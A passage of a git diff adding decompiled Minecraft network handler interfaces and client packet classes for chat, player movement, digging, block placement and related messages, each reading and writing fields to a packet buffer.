+import net.minecraft.network.play.server.S26PacketMapChunkBulk;
+import net.minecraft.network.play.server.S27PacketExplosion;
+import net.minecraft.network.play.server.S28PacketEffect;
+import net.minecraft.network.play.server.S29PacketSoundEffect;
+import net.minecraft.network.play.server.S2APacketParticles;
+import net.minecraft.network.play.server.S2BPacketChangeGameState;
+import net.minecraft.network.play.server.S2CPacketSpawnGlobalEntity;
+import net.minecraft.network.play.server.S2DPacketOpenWindow;
+import net.minecraft.network.play.server.S2EPacketCloseWindow;
+import net.minecraft.network.play.server.S2FPacketSetSlot;
+import net.minecraft.network.play.server.S30PacketWindowItems;
+import net.minecraft.network.play.server.S31PacketWindowProperty;
+import net.minecraft.network.play.server.S32PacketConfirmTransaction;
+import net.minecraft.network.play.server.S33PacketUpdateSign;
+import net.minecraft.network.play.server.S34PacketMaps;
+import net.minecraft.network.play.server.S35PacketUpdateTileEntity;
+import net.minecraft.network.play.server.S36PacketSignEditorOpen;
+import net.minecraft.network.play.server.S37PacketStatistics;
+import net.minecraft.network.play.server.S38PacketPlayerListItem;
+import net.minecraft.network.play.server.S39PacketPlayerAbilities;
+import net.minecraft.network.play.server.S3APacketTabComplete;
+import net.minecraft.network.play.server.S3BPacketScoreboardObjective;
+import net.minecraft.network.play.server.S3CPacketUpdateScore;
+import net.minecraft.network.play.server.S3DPacketDisplayScoreboard;
+import net.minecraft.network.play.server.S3EPacketTeams;
+import net.minecraft.network.play.server.S3FPacketCustomPayload;
+import net.minecraft.network.play.server.S40PacketDisconnect;
+import net.minecraft.network.play.server.S41PacketServerDifficulty;
+import net.minecraft.network.play.server.S42PacketCombatEvent;
+import net.minecraft.network.play.server.S43PacketCamera;
+import net.minecraft.network.play.server.S44PacketWorldBorder;
+import net.minecraft.network.play.server.S45PacketTitle;
+import net.minecraft.network.play.server.S46PacketSetCompressionLevel;
+import net.minecraft.network.play.server.S47PacketPlayerListHeaderFooter;
+import net.minecraft.network.play.server.S48PacketResourcePackSend;
+import net.minecraft.network.play.server.S49PacketUpdateEntityNBT;
+
+public abstract interface INetHandlerPlayClient
+  extends INetHandler
+{
+  public abstract void handleSpawnObject(S0EPacketSpawnObject paramS0EPacketSpawnObject);
+  
+  public abstract void handleSpawnExperienceOrb(S11PacketSpawnExperienceOrb paramS11PacketSpawnExperienceOrb);
+  
+  public abstract void handleSpawnGlobalEntity(S2CPacketSpawnGlobalEntity paramS2CPacketSpawnGlobalEntity);
+  
+  public abstract void handleSpawnMob(S0FPacketSpawnMob paramS0FPacketSpawnMob);
+  
+  public abstract void handleScoreboardObjective(S3BPacketScoreboardObjective paramS3BPacketScoreboardObjective);
+  
+  public abstract void handleSpawnPainting(S10PacketSpawnPainting paramS10PacketSpawnPainting);
+  
+  public abstract void handleSpawnPlayer(S0CPacketSpawnPlayer paramS0CPacketSpawnPlayer);
+  
+  public abstract void handleAnimation(S0BPacketAnimation paramS0BPacketAnimation);
+  
+  public abstract void handleStatistics(S37PacketStatistics paramS37PacketStatistics);
+  
+  public abstract void handleBlockBreakAnim(S25PacketBlockBreakAnim paramS25PacketBlockBreakAnim);
+  
+  public abstract void handleSignEditorOpen(S36PacketSignEditorOpen paramS36PacketSignEditorOpen);
+  
+  public abstract void handleUpdateTileEntity(S35PacketUpdateTileEntity paramS35PacketUpdateTileEntity);
+  
+  public abstract void handleBlockAction(S24PacketBlockAction paramS24PacketBlockAction);
+  
+  public abstract void handleBlockChange(S23PacketBlockChange paramS23PacketBlockChange);
+  
+  public abstract void handleChat(S02PacketChat paramS02PacketChat);
+  
+  public abstract void handleTabComplete(S3APacketTabComplete paramS3APacketTabComplete);
+  
+  public abstract void handleMultiBlockChange(S22PacketMultiBlockChange paramS22PacketMultiBlockChange);
+  
+  public abstract void handleMaps(S34PacketMaps paramS34PacketMaps);
+  
+  public abstract void handleConfirmTransaction(S32PacketConfirmTransaction paramS32PacketConfirmTransaction);
+  
+  public abstract void handleCloseWindow(S2EPacketCloseWindow paramS2EPacketCloseWindow);
+  
+  public abstract void handleWindowItems(S30PacketWindowItems paramS30PacketWindowItems);
+  
+  public abstract void handleOpenWindow(S2DPacketOpenWindow paramS2DPacketOpenWindow);
+  
+  public abstract void handleWindowProperty(S31PacketWindowProperty paramS31PacketWindowProperty);
+  
+  public abstract void handleSetSlot(S2FPacketSetSlot paramS2FPacketSetSlot);
+  
+  public abstract void handleCustomPayload(S3FPacketCustomPayload paramS3FPacketCustomPayload);
+  
+  public abstract void handleDisconnect(S40PacketDisconnect paramS40PacketDisconnect);
+  
+  public abstract void handleUseBed(S0APacketUseBed paramS0APacketUseBed);
+  
+  public abstract void handleEntityStatus(S19PacketEntityStatus paramS19PacketEntityStatus);
+  
+  public abstract void handleEntityAttach(S1BPacketEntityAttach paramS1BPacketEntityAttach);
+  
+  public abstract void handleExplosion(S27PacketExplosion paramS27PacketExplosion);
+  
+  public abstract void handleChangeGameState(S2BPacketChangeGameState paramS2BPacketChangeGameState);
+  
+  public abstract void handleKeepAlive(S00PacketKeepAlive paramS00PacketKeepAlive);
+  
+  public abstract void handleChunkData(S21PacketChunkData paramS21PacketChunkData);
+  
+  public abstract void handleMapChunkBulk(S26PacketMapChunkBulk paramS26PacketMapChunkBulk);
+  
+  public abstract void handleEffect(S28PacketEffect paramS28PacketEffect);
+  
+  public abstract void handleJoinGame(S01PacketJoinGame paramS01PacketJoinGame);
+  
+  public abstract void handleEntityMovement(S14PacketEntity paramS14PacketEntity);
+  
+  public abstract void handlePlayerPosLook(S08PacketPlayerPosLook paramS08PacketPlayerPosLook);
+  
+  public abstract void handleParticles(S2APacketParticles paramS2APacketParticles);
+  
+  public abstract void handlePlayerAbilities(S39PacketPlayerAbilities paramS39PacketPlayerAbilities);
+  
+  public abstract void handlePlayerListItem(S38PacketPlayerListItem paramS38PacketPlayerListItem);
+  
+  public abstract void handleDestroyEntities(S13PacketDestroyEntities paramS13PacketDestroyEntities);
+  
+  public abstract void handleRemoveEntityEffect(S1EPacketRemoveEntityEffect paramS1EPacketRemoveEntityEffect);
+  
+  public abstract void handleRespawn(S07PacketRespawn paramS07PacketRespawn);
+  
+  public abstract void handleEntityHeadLook(S19PacketEntityHeadLook paramS19PacketEntityHeadLook);
+  
+  public abstract void handleHeldItemChange(S09PacketHeldItemChange paramS09PacketHeldItemChange);
+  
+  public abstract void handleDisplayScoreboard(S3DPacketDisplayScoreboard paramS3DPacketDisplayScoreboard);
+  
+  public abstract void handleEntityMetadata(S1CPacketEntityMetadata paramS1CPacketEntityMetadata);
+  
+  public abstract void handleEntityVelocity(S12PacketEntityVelocity paramS12PacketEntityVelocity);
+  
+  public abstract void handleEntityEquipment(S04PacketEntityEquipment paramS04PacketEntityEquipment);
+  
+  public abstract void handleSetExperience(S1FPacketSetExperience paramS1FPacketSetExperience);
+  
+  public abstract void handleUpdateHealth(S06PacketUpdateHealth paramS06PacketUpdateHealth);
+  
+  public abstract void handleTeams(S3EPacketTeams paramS3EPacketTeams);
+  
+  public abstract void handleUpdateScore(S3CPacketUpdateScore paramS3CPacketUpdateScore);
+  
+  public abstract void handleSpawnPosition(S05PacketSpawnPosition paramS05PacketSpawnPosition);
+  
+  public abstract void handleTimeUpdate(S03PacketTimeUpdate paramS03PacketTimeUpdate);
+  
+  public abstract void handleUpdateSign(S33PacketUpdateSign paramS33PacketUpdateSign);
+  
+  public abstract void handleSoundEffect(S29PacketSoundEffect paramS29PacketSoundEffect);
+  
+  public abstract void handleCollectItem(S0DPacketCollectItem paramS0DPacketCollectItem);
+  
+  public abstract void handleEntityTeleport(S18PacketEntityTeleport paramS18PacketEntityTeleport);
+  
+  public abstract void handleEntityProperties(S20PacketEntityProperties paramS20PacketEntityProperties);
+  
+  public abstract void handleEntityEffect(S1DPacketEntityEffect paramS1DPacketEntityEffect);
+  
+  public abstract void func_175098_a(S42PacketCombatEvent paramS42PacketCombatEvent);
+  
+  public abstract void func_175101_a(S41PacketServerDifficulty paramS41PacketServerDifficulty);
+  
+  public abstract void func_175094_a(S43PacketCamera paramS43PacketCamera);
+  
+  public abstract void func_175093_a(S44PacketWorldBorder paramS44PacketWorldBorder);
+  
+  public abstract void func_175099_a(S45PacketTitle paramS45PacketTitle);
+  
+  public abstract void func_175100_a(S46PacketSetCompressionLevel paramS46PacketSetCompressionLevel);
+  
+  public abstract void func_175096_a(S47PacketPlayerListHeaderFooter paramS47PacketPlayerListHeaderFooter);
+  
+  public abstract void func_175095_a(S48PacketResourcePackSend paramS48PacketResourcePackSend);
+  
+  public abstract void func_175097_a(S49PacketUpdateEntityNBT paramS49PacketUpdateEntityNBT);
+}
diff --git a/src/minecraft/net/minecraft/network/play/INetHandlerPlayServer.java b/src/minecraft/net/minecraft/network/play/INetHandlerPlayServer.java
new file mode 100644
index 0000000..0104c3e
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/INetHandlerPlayServer.java
@@ -0,0 +1,76 @@
+package net.minecraft.network.play;
+
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.play.client.C00PacketKeepAlive;
+import net.minecraft.network.play.client.C01PacketChatMessage;
+import net.minecraft.network.play.client.C02PacketUseEntity;
+import net.minecraft.network.play.client.C03PacketPlayer;
+import net.minecraft.network.play.client.C07PacketPlayerDigging;
+import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;
+import net.minecraft.network.play.client.C09PacketHeldItemChange;
+import net.minecraft.network.play.client.C0APacketAnimation;
+import net.minecraft.network.play.client.C0BPacketEntityAction;
+import net.minecraft.network.play.client.C0CPacketInput;
+import net.minecraft.network.play.client.C0DPacketCloseWindow;
+import net.minecraft.network.play.client.C0EPacketClickWindow;
+import net.minecraft.network.play.client.C0FPacketConfirmTransaction;
+import net.minecraft.network.play.client.C10PacketCreativeInventoryAction;
+import net.minecraft.network.play.client.C11PacketEnchantItem;
+import net.minecraft.network.play.client.C12PacketUpdateSign;
+import net.minecraft.network.play.client.C13PacketPlayerAbilities;
+import net.minecraft.network.play.client.C14PacketTabComplete;
+import net.minecraft.network.play.client.C15PacketClientSettings;
+import net.minecraft.network.play.client.C16PacketClientStatus;
+import net.minecraft.network.play.client.C17PacketCustomPayload;
+import net.minecraft.network.play.client.C18PacketSpectate;
+import net.minecraft.network.play.client.C19PacketResourcePackStatus;
+
+public abstract interface INetHandlerPlayServer
+  extends INetHandler
+{
+  public abstract void func_175087_a(C0APacketAnimation paramC0APacketAnimation);
+  
+  public abstract void processChatMessage(C01PacketChatMessage paramC01PacketChatMessage);
+  
+  public abstract void processTabComplete(C14PacketTabComplete paramC14PacketTabComplete);
+  
+  public abstract void processClientStatus(C16PacketClientStatus paramC16PacketClientStatus);
+  
+  public abstract void processClientSettings(C15PacketClientSettings paramC15PacketClientSettings);
+  
+  public abstract void processConfirmTransaction(C0FPacketConfirmTransaction paramC0FPacketConfirmTransaction);
+  
+  public abstract void processEnchantItem(C11PacketEnchantItem paramC11PacketEnchantItem);
+  
+  public abstract void processClickWindow(C0EPacketClickWindow paramC0EPacketClickWindow);
+  
+  public abstract void processCloseWindow(C0DPacketCloseWindow paramC0DPacketCloseWindow);
+  
+  public abstract void processVanilla250Packet(C17PacketCustomPayload paramC17PacketCustomPayload);
+  
+  public abstract void processUseEntity(C02PacketUseEntity paramC02PacketUseEntity);
+  
+  public abstract void processKeepAlive(C00PacketKeepAlive paramC00PacketKeepAlive);
+  
+  public abstract void processPlayer(C03PacketPlayer paramC03PacketPlayer);
+  
+  public abstract void processPlayerAbilities(C13PacketPlayerAbilities paramC13PacketPlayerAbilities);
+  
+  public abstract void processPlayerDigging(C07PacketPlayerDigging paramC07PacketPlayerDigging);
+  
+  public abstract void processEntityAction(C0BPacketEntityAction paramC0BPacketEntityAction);
+  
+  public abstract void processInput(C0CPacketInput paramC0CPacketInput);
+  
+  public abstract void processHeldItemChange(C09PacketHeldItemChange paramC09PacketHeldItemChange);
+  
+  public abstract void processCreativeInventoryAction(C10PacketCreativeInventoryAction paramC10PacketCreativeInventoryAction);
+  
+  public abstract void processUpdateSign(C12PacketUpdateSign paramC12PacketUpdateSign);
+  
+  public abstract void processPlayerBlockPlacement(C08PacketPlayerBlockPlacement paramC08PacketPlayerBlockPlacement);
+  
+  public abstract void func_175088_a(C18PacketSpectate paramC18PacketSpectate);
+  
+  public abstract void func_175086_a(C19PacketResourcePackStatus paramC19PacketResourcePackStatus);
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C00PacketKeepAlive.java b/src/minecraft/net/minecraft/network/play/client/C00PacketKeepAlive.java
new file mode 100644
index 0000000..ecf9889
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C00PacketKeepAlive.java
@@ -0,0 +1,57 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C00PacketKeepAlive implements Packet
+{
+  private int key;
+  private static final String __OBFID = "CL_00001359";
+  
+  public C00PacketKeepAlive() {}
+  
+  public C00PacketKeepAlive(int p_i45252_1_)
+  {
+    key = p_i45252_1_;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayServer handler)
+  {
+    handler.processKeepAlive(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    key = data.readVarIntFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(key);
+  }
+  
+  public int getKey()
+  {
+    return key;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C01PacketChatMessage.java b/src/minecraft/net/minecraft/network/play/client/C01PacketChatMessage.java
new file mode 100644
index 0000000..f24e96d
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C01PacketChatMessage.java
@@ -0,0 +1,59 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C01PacketChatMessage implements Packet
+{
+  private String message;
+  private static final String __OBFID = "CL_00001347";
+  
+  public C01PacketChatMessage() {}
+  
+  public C01PacketChatMessage(String messageIn)
+  {
+    if (messageIn.length() > 100)
+    {
+      messageIn = messageIn.substring(0, 100);
+    }
+    
+    message = messageIn;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    message = data.readStringFromBuffer(100);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(message);
+  }
+  
+  public void func_180757_a(INetHandlerPlayServer p_180757_1_)
+  {
+    p_180757_1_.processChatMessage(this);
+  }
+  
+  public String getMessage()
+  {
+    return message;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180757_a((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C02PacketUseEntity.java b/src/minecraft/net/minecraft/network/play/client/C02PacketUseEntity.java
new file mode 100644
index 0000000..aeebc2d
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C02PacketUseEntity.java
@@ -0,0 +1,105 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class C02PacketUseEntity implements Packet
+{
+  private int entityId;
+  private Action action;
+  private Vec3 field_179713_c;
+  private static final String __OBFID = "CL_00001357";
+  
+  public C02PacketUseEntity() {}
+  
+  public C02PacketUseEntity(Entity p_i45251_1_, Action p_i45251_2_)
+  {
+    entityId = p_i45251_1_.getEntityId();
+    action = p_i45251_2_;
+  }
+  
+  public C02PacketUseEntity(Entity p_i45944_1_, Vec3 p_i45944_2_)
+  {
+    this(p_i45944_1_, Action.INTERACT_AT);
+    field_179713_c = p_i45944_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    entityId = data.readVarIntFromBuffer();
+    action = ((Action)data.readEnumValue(Action.class));
+    
+    if (action == Action.INTERACT_AT)
+    {
+      field_179713_c = new Vec3(data.readFloat(), data.readFloat(), data.readFloat());
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(entityId);
+    data.writeEnumValue(action);
+    
+    if (action == Action.INTERACT_AT)
+    {
+      data.writeFloat((float)field_179713_c.xCoord);
+      data.writeFloat((float)field_179713_c.yCoord);
+      data.writeFloat((float)field_179713_c.zCoord);
+    }
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayServer handler)
+  {
+    handler.processUseEntity(this);
+  }
+  
+  public Entity getEntityFromWorld(World worldIn)
+  {
+    return worldIn.getEntityByID(entityId);
+  }
+  
+  public Action getAction()
+  {
+    return action;
+  }
+  
+  public Vec3 func_179712_b()
+  {
+    return field_179713_c;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayServer)handler);
+  }
+  
+  public static enum Action
+  {
+    INTERACT("INTERACT", 0), 
+    ATTACK("ATTACK", 1), 
+    INTERACT_AT("INTERACT_AT", 2);
+    
+    private static final Action[] $VALUES = { INTERACT, ATTACK, INTERACT_AT };
+    private static final String __OBFID = "CL_00001358";
+    
+    private Action(String p_i45943_1_, int p_i45943_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C03PacketPlayer.java b/src/minecraft/net/minecraft/network/play/client/C03PacketPlayer.java
new file mode 100644
index 0000000..1682520
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C03PacketPlayer.java
@@ -0,0 +1,229 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C03PacketPlayer implements Packet
+{
+  protected double x;
+  public double y;
+  protected double z;
+  protected float yaw;
+  protected float pitch;
+  protected boolean field_149474_g;
+  protected boolean field_149480_h;
+  protected boolean rotating;
+  private static final String __OBFID = "CL_00001360";
+  
+  public C03PacketPlayer() {}
+  
+  public C03PacketPlayer(boolean p_i45256_1_)
+  {
+    field_149474_g = p_i45256_1_;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayServer handler)
+  {
+    handler.processPlayer(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149474_g = (data.readUnsignedByte() != 0);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(field_149474_g ? 1 : 0);
+  }
+  
+  public double getPositionX()
+  {
+    return x;
+  }
+  
+  public double getPositionY()
+  {
+    return y;
+  }
+  
+  public double getPositionZ()
+  {
+    return z;
+  }
+  
+  public float getYaw()
+  {
+    return yaw;
+  }
+  
+  public float getPitch()
+  {
+    return pitch;
+  }
+  
+  public boolean func_149465_i()
+  {
+    return field_149474_g;
+  }
+  
+  public boolean func_149466_j()
+  {
+    return field_149480_h;
+  }
+  
+  public boolean getRotating()
+  {
+    return rotating;
+  }
+  
+  public void func_149469_a(boolean p_149469_1_)
+  {
+    field_149480_h = p_149469_1_;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayServer)handler);
+  }
+  
+  public static class C04PacketPlayerPosition extends C03PacketPlayer
+  {
+    private static final String __OBFID = "CL_00001361";
+    
+    public C04PacketPlayerPosition()
+    {
+      field_149480_h = true;
+    }
+    
+    public C04PacketPlayerPosition(double p_i45942_1_, double p_i45942_3_, double p_i45942_5_, boolean p_i45942_7_)
+    {
+      x = p_i45942_1_;
+      y = p_i45942_3_;
+      z = p_i45942_5_;
+      field_149474_g = p_i45942_7_;
+      field_149480_h = true;
+    }
+    
+    public void readPacketData(PacketBuffer data) throws IOException
+    {
+      x = data.readDouble();
+      y = data.readDouble();
+      z = data.readDouble();
+      super.readPacketData(data);
+    }
+    
+    public void writePacketData(PacketBuffer data) throws IOException
+    {
+      data.writeDouble(x);
+      data.writeDouble(y);
+      data.writeDouble(z);
+      super.writePacketData(data);
+    }
+    
+    public void processPacket(INetHandler handler)
+    {
+      super.processPacket((INetHandlerPlayServer)handler);
+    }
+  }
+  
+  public static class C05PacketPlayerLook extends C03PacketPlayer
+  {
+    private static final String __OBFID = "CL_00001363";
+    
+    public C05PacketPlayerLook()
+    {
+      rotating = true;
+    }
+    
+    public C05PacketPlayerLook(float p_i45255_1_, float p_i45255_2_, boolean p_i45255_3_)
+    {
+      yaw = p_i45255_1_;
+      pitch = p_i45255_2_;
+      field_149474_g = p_i45255_3_;
+      rotating = true;
+    }
+    
+    public void readPacketData(PacketBuffer data) throws IOException
+    {
+      yaw = data.readFloat();
+      pitch = data.readFloat();
+      super.readPacketData(data);
+    }
+    
+    public void writePacketData(PacketBuffer data) throws IOException
+    {
+      data.writeFloat(yaw);
+      data.writeFloat(pitch);
+      super.writePacketData(data);
+    }
+    
+    public void processPacket(INetHandler handler)
+    {
+      super.processPacket((INetHandlerPlayServer)handler);
+    }
+  }
+  
+  public static class C06PacketPlayerPosLook extends C03PacketPlayer
+  {
+    private static final String __OBFID = "CL_00001362";
+    
+    public C06PacketPlayerPosLook()
+    {
+      field_149480_h = true;
+      rotating = true;
+    }
+    
+    public C06PacketPlayerPosLook(double p_i45941_1_, double p_i45941_3_, double p_i45941_5_, float p_i45941_7_, float p_i45941_8_, boolean p_i45941_9_)
+    {
+      x = p_i45941_1_;
+      y = p_i45941_3_;
+      z = p_i45941_5_;
+      yaw = p_i45941_7_;
+      pitch = p_i45941_8_;
+      field_149474_g = p_i45941_9_;
+      rotating = true;
+      field_149480_h = true;
+    }
+    
+    public void readPacketData(PacketBuffer data) throws IOException
+    {
+      x = data.readDouble();
+      y = data.readDouble();
+      z = data.readDouble();
+      yaw = data.readFloat();
+      pitch = data.readFloat();
+      super.readPacketData(data);
+    }
+    
+    public void writePacketData(PacketBuffer data) throws IOException
+    {
+      data.writeDouble(x);
+      data.writeDouble(y);
+      data.writeDouble(z);
+      data.writeFloat(yaw);
+      data.writeFloat(pitch);
+      super.writePacketData(data);
+    }
+    
+    public void processPacket(INetHandler handler)
+    {
+      super.processPacket((INetHandlerPlayServer)handler);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C07PacketPlayerDigging.java b/src/minecraft/net/minecraft/network/play/client/C07PacketPlayerDigging.java
new file mode 100644
index 0000000..f4f736d
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C07PacketPlayerDigging.java
@@ -0,0 +1,91 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+
+
+public class C07PacketPlayerDigging
+  implements Packet
+{
+  private BlockPos field_179717_a;
+  private EnumFacing field_179716_b;
+  private Action status;
+  private static final String __OBFID = "CL_00001365";
+  
+  public C07PacketPlayerDigging() {}
+  
+  public C07PacketPlayerDigging(Action p_i45940_1_, BlockPos p_i45940_2_, EnumFacing p_i45940_3_)
+  {
+    status = p_i45940_1_;
+    field_179717_a = p_i45940_2_;
+    field_179716_b = p_i45940_3_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    status = ((Action)data.readEnumValue(Action.class));
+    field_179717_a = data.readBlockPos();
+    field_179716_b = EnumFacing.getFront(data.readUnsignedByte());
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeEnumValue(status);
+    data.writeBlockPos(field_179717_a);
+    data.writeByte(field_179716_b.getIndex());
+  }
+  
+  public void func_180763_a(INetHandlerPlayServer p_180763_1_)
+  {
+    p_180763_1_.processPlayerDigging(this);
+  }
+  
+  public BlockPos func_179715_a()
+  {
+    return field_179717_a;
+  }
+  
+  public EnumFacing func_179714_b()
+  {
+    return field_179716_b;
+  }
+  
+  public Action func_180762_c()
+  {
+    return status;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180763_a((INetHandlerPlayServer)handler);
+  }
+  
+  public static enum Action
+  {
+    START_DESTROY_BLOCK("START_DESTROY_BLOCK", 0), 
+    ABORT_DESTROY_BLOCK("ABORT_DESTROY_BLOCK", 1), 
+    STOP_DESTROY_BLOCK("STOP_DESTROY_BLOCK", 2), 
+    DROP_ALL_ITEMS("DROP_ALL_ITEMS", 3), 
+    DROP_ITEM("DROP_ITEM", 4), 
+    RELEASE_USE_ITEM("RELEASE_USE_ITEM", 5);
+    
+    private static final Action[] $VALUES = { START_DESTROY_BLOCK, ABORT_DESTROY_BLOCK, STOP_DESTROY_BLOCK, DROP_ALL_ITEMS, DROP_ITEM, RELEASE_USE_ITEM };
+    private static final String __OBFID = "CL_00002284";
+    
+    private Action(String p_i45939_1_, int p_i45939_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C08PacketPlayerBlockPlacement.java b/src/minecraft/net/minecraft/network/play/client/C08PacketPlayerBlockPlacement.java
new file mode 100644
index 0000000..8929306
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C08PacketPlayerBlockPlacement.java
@@ -0,0 +1,119 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+import net.minecraft.util.BlockPos;
+
+
+
+public class C08PacketPlayerBlockPlacement
+  implements Packet
+{
+  private static final BlockPos field_179726_a = new BlockPos(-1, -1, -1);
+  private BlockPos field_179725_b;
+  private int placedBlockDirection;
+  private ItemStack stack;
+  private float facingX;
+  private float facingY;
+  private float facingZ;
+  private static final String __OBFID = "CL_00001371";
+  
+  public C08PacketPlayerBlockPlacement() {}
+  
+  public C08PacketPlayerBlockPlacement(ItemStack p_i45930_1_)
+  {
+    this(field_179726_a, 255, p_i45930_1_, 0.0F, 0.0F, 0.0F);
+  }
+  
+  public C08PacketPlayerBlockPlacement(BlockPos p_i45931_1_, int p_i45931_2_, ItemStack p_i45931_3_, float p_i45931_4_, float p_i45931_5_, float p_i45931_6_)
+  {
+    field_179725_b = p_i45931_1_;
+    placedBlockDirection = p_i45931_2_;
+    stack = (p_i45931_3_ != null ? p_i45931_3_.copy() : null);
+    facingX = p_i45931_4_;
+    facingY = p_i45931_5_;
+    facingZ = p_i45931_6_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179725_b = data.readBlockPos();
+    placedBlockDirection = data.readUnsignedByte();
+    stack = data.readItemStackFromBuffer();
+    facingX = (data.readUnsignedByte() / 16.0F);
+    facingY = (data.readUnsignedByte() / 16.0F);
+    facingZ = (data.readUnsignedByte() / 16.0F);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeBlockPos(field_179725_b);
+    data.writeByte(placedBlockDirection);
+    data.writeItemStackToBuffer(stack);
+    data.writeByte((int)(facingX * 16.0F));
+    data.writeByte((int)(facingY * 16.0F));
+    data.writeByte((int)(facingZ * 16.0F));
+  }
+  
+  public void func_180769_a(INetHandlerPlayServer p_180769_1_)
+  {
+    p_180769_1_.processPlayerBlockPlacement(this);
+  }
+  
+  public BlockPos func_179724_a()
+  {
+    return field_179725_b;
+  }
+  
+  public int getPlacedBlockDirection()
+  {
+    return placedBlockDirection;
+  }
+  
+  public ItemStack getStack()
+  {
+    return stack;
+  }
+  
+
+
+
+  public float getPlacedBlockOffsetX()
+  {
+    return facingX;
+  }
+  
+
+
+
+  public float getPlacedBlockOffsetY()
+  {
+    return facingY;
+  }
+  
+
+
+
+  public float getPlacedBlockOffsetZ()
+  {
+    return facingZ;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180769_a((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C09PacketHeldItemChange.java b/src/minecraft/net/minecraft/network/play/client/C09PacketHeldItemChange.java
new file mode 100644
index 0000000..764fbd3
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C09PacketHeldItemChange.java
@@ -0,0 +1,57 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C09PacketHeldItemChange implements Packet
+{
+  private int slotId;
+  private static final String __OBFID = "CL_00001368";
+  
+  public C09PacketHeldItemChange() {}
+  
+  public C09PacketHeldItemChange(int p_i45262_1_)
+  {
+    slotId = p_i45262_1_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    slotId = data.readShort();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeShort(slotId);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayServer handler)
+  {
+    handler.processHeldItemChange(this);
+  }
+  
+  public int getSlotId()
+  {
+    return slotId;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
